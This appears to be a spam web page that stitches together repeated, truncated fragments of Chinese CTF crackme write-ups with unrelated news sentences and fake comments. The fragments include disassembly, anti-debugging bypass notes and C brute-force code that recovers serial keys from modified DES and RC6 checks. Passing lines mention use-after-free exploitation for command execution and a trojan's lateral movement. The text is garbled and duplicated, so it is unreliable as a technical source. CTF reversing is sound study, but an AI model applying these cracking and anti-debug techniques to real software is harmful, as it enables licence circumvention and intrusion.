toffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}。责任编辑:雷丽娜这是按照贵阳市委、市政府1+1+3+N的大数据安全发展总体思路,全力推进贵阳大数据安全产业示范区建设,奋力打造大数据安全产业发展的战略高地、先行先试的试验田。。  麻黄山乡是宁夏盐池县最偏远的乡镇,耕地全部都是望天田,年降雨量只有两三百毫米,蒸发量却高达两千多毫米。老书记就是一个很好的例子,他发挥自己的才干,为华西村的村民带来了美好的生活。  去年11月,冬季马铃薯的种子落进了蒿枝坝的地里。  1张网日促交易超13万单  大数据激发企业发展新模式  贵州大数据综合试验区展示中心隧道。。前8个字符正好是des块长度,也就是说,我们知道了rc6的部分明文和密文,可以通过rc6解密穷举出rc6后4位key和全部rc6的明文。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}  在平南走访,绿色生态是许多种养户挂在嘴边的热词。通过上述分析,我们只需将“JPyjup3eCyJjlkV6DmSmGHQ=”base64解码再rc4解密,即是sn使用在线rc4解密并有base64编码功能的,进行解密:sn=madebyericky94528点击此更新会下载一个释放木马的文件,其被执行后会执行加密和横向移动过程。先说一下如何过反调试,调试环境为ida和android模拟器,ida卡到不行啊,羡慕有真机的。一座新的汽车城正在桂东崛起。。处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91},会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。,MutantListHead字段用于保存一个线程所获取的所有互斥量的链表。图5显示了各种现实世界网站实现的比较,展示出大约有55%的性能改进。会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。最近一直在研究和总结php中的序列化问题,发现php序列化的问题由来已久,除了在真实的php开源代码中会出现之外,如典型的执行,这种问题在ctf比赛中的也是备受青睐。,Satori家族重复使用Mirai代码,包括网络扫描器,telnet密码尝试和看门狗禁用(图4)。全市共有32个农产品获得自治区富硒农产品认证,认证数排全区第一。  2017年1月19日,夏德全他们又一次来到了四川。。

阅读(261) | 评论(746) | 转发(137) |

上一篇:www.vns8184.com

下一篇:www.wnsr289.com

给主人留下些什么吧!~~

郝若萌2018-7-18

赵松林平行Mark-Evacuate收集器的缺点是执行三个独立锁步阶段时的开销。

“aquario”是南美洲国家流行无线路由器的默认密码。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。。16=len(sn)=:00402723calledi;:00402725cmpal,:00402727mov[esp+esi+104h+var_B4],:0040272Bjzshortloc_:0040272Daddesi,:00402730cmpesi,:00402733jlshortloc_:00402735mov[esp+esi+104h+var_B4],:0040273Aaddesi,:0040273Dcmpesi,:00402740jaloc_4029DDdes加密,其中多个常数表被替换key="*2017*10"des_cbc_encrypt(sn,key).text:00402771calldes_cbc_:0045AE9CPC1_:0045AED4LOOP_:0045AEE4PC2_:0045AF18IP_:0045AF58E_:0045AF88P_:0045AFA8IPR_:0045AFE8S_Boxsn高4位与低4位与换,转换为16进制字符串.text:004027B0pushesi....text:00402806jbshortloc_4027B0sn计算.text:00402808callmirvar....text:00402876callsub_4022E0bigx=mirvar(0);bigv=mirvar(173);bigy=mirvar(1817);bytes_to_big(len,sn,x);multiply(x,v,x);fft_mult(x,y,y);power(y,2,y);decr(y,1001,y);v=mirvar(317)multiply(y,v,y);//4022E0是用c的浮点函数计算的sn=((sn*173*1817)^2-1001)*317sn=reverse(sn)luajit计算.text:004028F0pushoffsetaLuajit210Beta3;"".text:004028F5push917h;:004028FApushoffsetbyte_45A578;:004028FFpushesi;:00402900callluaL_::::0040290AcallluaJIT_:0040290Fpush0;:00402911push0;:00402913push0;:00402915pushesi;:00402916calllua_:0040291Baddesp,:0040291Etesteax,:00402920jnzshortloc_:::00402924calllua_:00402929pushoffsetaXut;"xut".text:::00402934calllua_:00402939pushoffsetaMyst;"myst".text:::00402944calllua_:00402949push0;:0040294Bpush1;:0040294Dpush0;:0040294Fpushesi;:00402950calllua_pcall....text:00402986push0FFFFFFFFh;:00402988pushesi;:00402989calllua_:0040298Eaddesp,:00402991testeax,:00402993jzshortloc_:00402995push0FFFFFFFFh;:00402997pushesi;:00402998calllua_:0040299Daddesp,:004029A0jmpshortloc_:004029A2moveax,[esp+104h+var_F0].text:004029A6testeax,:004029A8jzshortloc_4029B1xut=snifmyst()==1thenokmyst():x=xutx+=101*1001+(10101+1001*99)*100x*=983751509373x-=1023*13+1203*13*14+1230*13*14*15+1231*13*14*15*16x=(x+1)*2expected=1574592838300862641516215149137548264158058079230003764126382984039489925466995870724568174393389905601620735902909057604303543552180706761904if(x==expected)return1elsereturn0luajit分析根据luaJIT_setmode定位到lj_dispatch_update函数从lj_dispatch_update定位到lj_vm_asm_begin与lj_bc_ofs在lj_vm_asm_begin+lj_bc_ofs[i]处下断,分析各个bytecode的功能.text:0040AFCEcalllj_dispatch_:0040ACA9movzxesi,ds:lj_bc_ofs+:0040ACB0movzxedi,ds:lj_bc_ofs+:0040ACB7movzxebp,ds:lj_bc_ofs+:0040ACBEmovzxeax,ds:lj_bc_ofs+:0040ACC5addesi,offsetlj_vm_asm_:0040ACCBaddedi,offsetlj_vm_asm_:0040ACD1addebp,offsetlj_vm_asm_:0040ACD7addeax,offsetlj_vm_asm_beginKXCTF201710BYLoudy08od无法调试,先使用ida静态分析,发现该程序加载驱动,patch掉驱动后再动态调试。,节前客流主要以往贵阳、重庆、成都的务工返乡客流与桂平、平南方向的学生流为主;节后第一个客流高峰以广州、深圳、南宁、柳州、玉林、北京、上海方向的务工流及探亲流为主;节后第二个客流高峰则以广州、南宁、柳州、桂林、北京、上海、长沙方向的学生流为主。。

如愚居士2018-7-18 11:5:5

分析发现这是RSA算法,提供了N和D,输入e和p进行匹配。,之后分析的进程注入技术都开源到这一个项目上。。16=len(sn)=:00402723calledi;:00402725cmpal,:00402727mov[esp+esi+104h+var_B4],:0040272Bjzshortloc_:0040272Daddesi,:00402730cmpesi,:00402733jlshortloc_:00402735mov[esp+esi+104h+var_B4],:0040273Aaddesi,:0040273Dcmpesi,:00402740jaloc_4029DDdes加密,其中多个常数表被替换key="*2017*10"des_cbc_encrypt(sn,key).text:00402771calldes_cbc_:0045AE9CPC1_:0045AED4LOOP_:0045AEE4PC2_:0045AF18IP_:0045AF58E_:0045AF88P_:0045AFA8IPR_:0045AFE8S_Boxsn高4位与低4位与换,转换为16进制字符串.text:004027B0pushesi....text:00402806jbshortloc_4027B0sn计算.text:00402808callmirvar....text:00402876callsub_4022E0bigx=mirvar(0);bigv=mirvar(173);bigy=mirvar(1817);bytes_to_big(len,sn,x);multiply(x,v,x);fft_mult(x,y,y);power(y,2,y);decr(y,1001,y);v=mirvar(317)multiply(y,v,y);//4022E0是用c的浮点函数计算的sn=((sn*173*1817)^2-1001)*317sn=reverse(sn)luajit计算.text:004028F0pushoffsetaLuajit210Beta3;"".text:004028F5push917h;:004028FApushoffsetbyte_45A578;:004028FFpushesi;:00402900callluaL_::::0040290AcallluaJIT_:0040290Fpush0;:00402911push0;:00402913push0;:00402915pushesi;:00402916calllua_:0040291Baddesp,:0040291Etesteax,:00402920jnzshortloc_:::00402924calllua_:00402929pushoffsetaXut;"xut".text:::00402934calllua_:00402939pushoffsetaMyst;"myst".text:::00402944calllua_:00402949push0;:0040294Bpush1;:0040294Dpush0;:0040294Fpushesi;:00402950calllua_pcall....text:00402986push0FFFFFFFFh;:00402988pushesi;:00402989calllua_:0040298Eaddesp,:00402991testeax,:00402993jzshortloc_:00402995push0FFFFFFFFh;:00402997pushesi;:00402998calllua_:0040299Daddesp,:004029A0jmpshortloc_:004029A2moveax,[esp+104h+var_F0].text:004029A6testeax,:004029A8jzshortloc_4029B1xut=snifmyst()==1thenokmyst():x=xutx+=101*1001+(10101+1001*99)*100x*=983751509373x-=1023*13+1203*13*14+1230*13*14*15+1231*13*14*15*16x=(x+1)*2expected=1574592838300862641516215149137548264158058079230003764126382984039489925466995870724568174393389905601620735902909057604303543552180706761904if(x==expected)return1elsereturn0luajit分析根据luaJIT_setmode定位到lj_dispatch_update函数从lj_dispatch_update定位到lj_vm_asm_begin与lj_bc_ofs在lj_vm_asm_begin+lj_bc_ofs[i]处下断,分析各个bytecode的功能.text:0040AFCEcalllj_dispatch_:0040ACA9movzxesi,ds:lj_bc_ofs+:0040ACB0movzxedi,ds:lj_bc_ofs+:0040ACB7movzxebp,ds:lj_bc_ofs+:0040ACBEmovzxeax,ds:lj_bc_ofs+:0040ACC5addesi,offsetlj_vm_asm_:0040ACCBaddedi,offsetlj_vm_asm_:0040ACD1addebp,offsetlj_vm_asm_:0040ACD7addeax,offsetlj_vm_asm_beginKXCTF201710BYLoudy08。

宋厉公2018-7-18 11:5:5

UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。,处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR